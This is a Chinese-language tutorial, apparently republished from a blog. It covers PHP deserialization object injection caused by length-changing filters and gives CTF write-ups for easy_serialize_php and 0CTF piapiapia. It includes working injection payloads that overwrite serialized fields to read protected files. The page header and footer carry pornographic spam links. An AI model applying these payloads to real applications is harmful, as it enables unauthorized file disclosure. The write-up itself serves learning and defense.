激情久久久_欧美视频区_成人av免费_不卡视频一二三区_欧美精品在欧美一区二区少妇_欧美一区二区三区的

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - 淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

2020-06-30 12:28dimpl3s PHP教程

這篇文章主要介紹了PHP反序列化中過濾函數使用不當導致的對象注入問題,本文給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下

1.漏洞產生的原因

#### 正常的反序列化語句是這樣的

$a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}';

但是如果寫成這樣

$b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";}s:8:"password";s:6:"abcde";}';

也可以正常的編譯, 而且下面一條語句的結果是 password=“123456” 而不是abcde

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

結果

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

這就說明一個問題,在反序列化的時候,只要求第一個序列化字符串合法就行,換我個理解,就是反序列話時,他會從前往后讀取,當讀取第一個合法的序列化的字符串時,就會反序列化。

### 當過濾用戶輸入參數的時候,如果先序列化再對序列化過后的字符串進行過濾,而且在過濾的過程中會導致原本的長度改變,就可能造成序列化對象注入漏洞。

此處參考別人的代碼:

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

可以看到,這里過濾函數將原來的x換成了zz,但是長度卻超過了原來的長度 ,但是原來長度的數字時沒變的,這就導致報錯。但是試想一下,如果這里的密碼是可控的,然后我們輸入字符

的時候帶入雙引號和} 會怎么樣呢? 看如下代碼

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

結果

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

第一排是我們構造的東西序列化過后的值,

第二排是序列化過后的值進行過濾過后的值,可以看到,此時由于x換成了z,而前面讀40的時候正好會讀到最后一個x,從而使我們輸入的新對象得以注入,而且得到正常的反序列化。

第三排是反序列化過后的到的值,此時原本的aaaaaa的值已經被我們覆蓋。

二:實例分析

根據上面的原因可知,產生漏洞最直接的原因是因為序列化過后的字符串被過濾的時長度發生變化, 根據這個這個原因,我們就可以把漏洞分為 長度變長,和長度變短兩種情況,注意! 如果長度不變的話,不會引起漏洞產生。

(1) 長度變短。

題目: 安洵杯2019 easy_serialize_php // 在https://buuoj.cn/這個靶場里又復現

源碼:

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

根據提示在phpinfo拿到

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

很顯然答案在 d0g3_f1ag.php里面,關鍵是我們怎么去讀取他的源碼 ,可以看到最后一排的會獲取 ['img'] 中的 的源碼,我們僅需要覆蓋img的值將他變成d0g3_f1ag.php就行。

在看這個過濾函數

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

他會使得輸入的相應字符變為空,也就是讓序列化后的字符串變短,我們就可以利用此來吞掉原本的變量名,而注入我們想注入的代碼。

第一種解法:值逃逸

d0g3_f1ag.php的base64 編碼 ZDBnM19mMWFnLnBocA== 長度20

在本地測試的時候得到正常的 序列化字符是這樣的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"123";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

前者user,和function 的值都是我們可控的

我們想要構造的是 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 設想一下 ,如果我們把它設置function的值,并且在前面user的值利用過濾函數將后面的 "s:8:"function";s:xx:" 吞掉,那么function的值,也就是我們想要注入的對象,不就正好上位了嗎? 但是注意閉合前面的由于吞掉而缺少的分號和雙引號,而且,這里兩個雙引號緊挨著會報錯,所以我們加一個字符,再把這個字符一起吞掉就行,還有 這里前面是 a:3: 所以我在最后還要添加一個屬性。

payload

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

讀到源碼

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

再去修改payload的文件中的值,然后再去訪問,發現什么也沒有返回,然后嘗試 /../d0g3_fllllllag 然后base64編碼 去訪問就會返回flag

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

(2)長度變長

題目 [0CTF] piapiapia // 同樣在buu里又復現

wp參考這里 -> http://www.zmynmublwnt.cn/article/80583.html

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

紅色部分是我們想要注入的,這道題的過濾函數有三個 ,但是導致長度變化的過濾是這個

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

where->hacker 多出了一個字符

但是另一個過濾使 nickname 有長度限制

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

這里strlen我們可以用數組繞過,但是如果使用數組就會引起序列化字符串產生變化

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

注意數組在序列化中的表示 是 先; 再 }

這里我進行了本地測試

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

結果:

淺析PHP反序列化中過濾函數使用不當導致的對象注入問題

紅色部分為我們想注入的,藍色的是我們提交payload的地方,后面實際上根本不用管

現在我們想的是通過where ->hacker 多了一個字符,這樣使我們輸入的nickname的值逃逸出去變成對象,

加上閉合前面的單引號和反括號 就是這樣 ";}s:5:"photo";s:10:"config.php";}

一共就是34個字符, 一個where 逃逸出一個字符,這里就需要34個where

payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}    

三.總結

武漢加油!中國加油!我加油!

以上所述是小編給大家介紹的PHP反序列化中過濾函數使用不當導致的對象注入問題,希望對大家有所幫助!

原文鏈接:https://www.cnblogs.com/tlbjiayou/p/12306600.html

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 国产精品久久久久久久午夜片 | av电影免费在线 | 亚洲午夜在线视频 | 国产精品视频久久久 | 日韩av电影免费看 | 亚洲精品xxx | 久久久www成人免费毛片 | 欧美一级毛片免费观看视频 | 毛片免费在线观看 | 最新国产毛片 | 黄色网www | 艹男人的日日夜夜 | 三级国产三级在线 | chengrenyingshi| 久久精品久| 91精品一区二区综合在线 | 久久精品无码一区二区三区 | 午夜视频中文字幕 | 欧美成人精品一区 | 成人三区四区 | 高颜值美女啪啪 | 久久免费视频在线 | 欧美性生视频 | 一级片免费| 欧美亚洲国产一区二区三区 | 欧美精品成人一区二区在线观看 | 九色中文字幕 | 久久久精品视 | 成人在线视频免费观看 | 国内精品久久久久影院不卡 | 91麻豆蜜桃一区二区三区 | 深夜视频在线观看 | 极品大长腿啪啪高潮露脸 | 精品一区二区三区网站 | 嗯~啊~弄嗯~啊h高潮视频 | 蜜桃视频在线播放 | 一区二区三区欧美精品 | 亚洲精品7777xxxx青睐 | 福利在线小视频 | 久久综合久久精品 | 黄污网址 |